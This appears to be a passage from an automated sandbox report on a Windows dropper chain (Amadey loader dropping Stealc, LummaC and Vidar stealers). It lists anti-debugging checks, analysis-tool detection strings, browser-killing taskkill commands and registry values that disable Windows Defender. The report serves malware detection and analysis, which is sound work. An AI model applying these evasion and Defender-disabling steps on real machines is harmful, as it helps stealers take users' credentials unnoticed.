Source: firefox.exe, 0000001D.00000002.3252230240.0000021EDA520000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 0000001D.00000002.3253229619.0000021EDA940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllh
Source: firefox.exe, 0000001D.00000002.3248313597.0000021EDA03A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi
Source: file.exe, 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmp, 1c49dbdc29.exe, 0000001E.00000002.3114092600.0000000000F6A000.00000040.00000001.01000000.00000011.sdmp, 93ee6c8e33.exe, 00000021.00000002.3325997079.0000000000C37000.00000040.00000001.01000000.00000015.sdmp, 1c49dbdc29.exe, 00000022.00000002.3318475470.0000000000F6A000.00000040.00000001.01000000.00000011.sdmp, 93ee6c8e33.exe, 00000026.00000002.3362358125.0000000000C37000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001F.00000002.3248108808.0000011C76C9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: firefox.exe, 0000001D.00000002.3253229619.0000021EDA940000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251774384.0000011C773D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05430C37 Start: 05430D75 End: 05430C59

0_2_05430C37

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05430C29 rdtsc

0_2_05430C29

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005FEAA2 BlockInput,

15_2_005FEAA2

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005B2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_005B2622

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

15_2_005842DE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C652B mov eax, dword ptr fs:[00000030h]	0_2_003C652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003CA302 mov eax, dword ptr fs:[00000030h]	0_2_003CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0062A302 mov eax, dword ptr fs:[00000030h]	3_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0062652B mov eax, dword ptr fs:[00000030h]	3_2_0062652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_0062A302 mov eax, dword ptr fs:[00000030h]	4_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_0062652B mov eax, dword ptr fs:[00000030h]	4_2_0062652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0062A302 mov eax, dword ptr fs:[00000030h]	13_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0062652B mov eax, dword ptr fs:[00000030h]	13_2_0062652B
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A4CE8 mov eax, dword ptr fs:[00000030h]	15_2_005A4CE8

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005E0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

15_2_005E0B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005B2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_005B2622
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_005A083F
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A09D5 SetUnhandledExceptionFilter,	15_2_005A09D5
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_005A0C21

Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 1c49dbdc29.exe PID: 2748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1c49dbdc29.exe PID: 6484, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

15_2_005E1201

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005C2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

15_2_005C2BA5

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005EB226 SendInput,keybd_event,

15_2_005EB226

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_006022DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

15_2_006022DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe "C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe "C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe "C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe "C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe "C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

15_2_005E0B62

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005E1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

15_2_005E1663

Source: d71513cd6d.exe, 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmp, d71513cd6d.exe, 00000020.00000000.3079496036.0000000000642000.00000002.00000001.01000000.0000000C.sdmp, d71513cd6d.exe, 00000034.00000002.3455680494.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: d71513cd6d.exe	Binary or memory string: Shell_TrayWnd
Source: 93ee6c8e33.exe, 00000026.00000002.3365284409.0000000000C8E000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: f7IProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 13_2_0060DD91 cpuid

13_2_0060DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003ACBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_003ACBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 13_2_005F65E0 LookupAccountNameA,

13_2_005F65E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 13_2_00632517 GetTimeZoneInformation,

13_2_00632517

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

15_2_005842DE

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: d71513cd6d.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d71513cd6d.exe PID: 2056, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000003.3040296084.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3313204414.0000000000B91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3106684027.0000000000B91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3203387497.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1c49dbdc29.exe PID: 2748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1c49dbdc29.exe PID: 6484, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Source: d71513cd6d.exe	Binary or memory string: WIN_81
Source: d71513cd6d.exe	Binary or memory string: WIN_XP
Source: d71513cd6d.exe, 00000034.00000002.3455680494.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: d71513cd6d.exe	Binary or memory string: WIN_XPe
Source: d71513cd6d.exe	Binary or memory string: WIN_VISTA
Source: d71513cd6d.exe	Binary or memory string: WIN_7
Source: d71513cd6d.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: d71513cd6d.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d71513cd6d.exe PID: 2056, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000003.3040296084.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3313204414.0000000000B91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3106684027.0000000000B91000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3203387497.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1c49dbdc29.exe PID: 2748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1c49dbdc29.exe PID: 6484, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

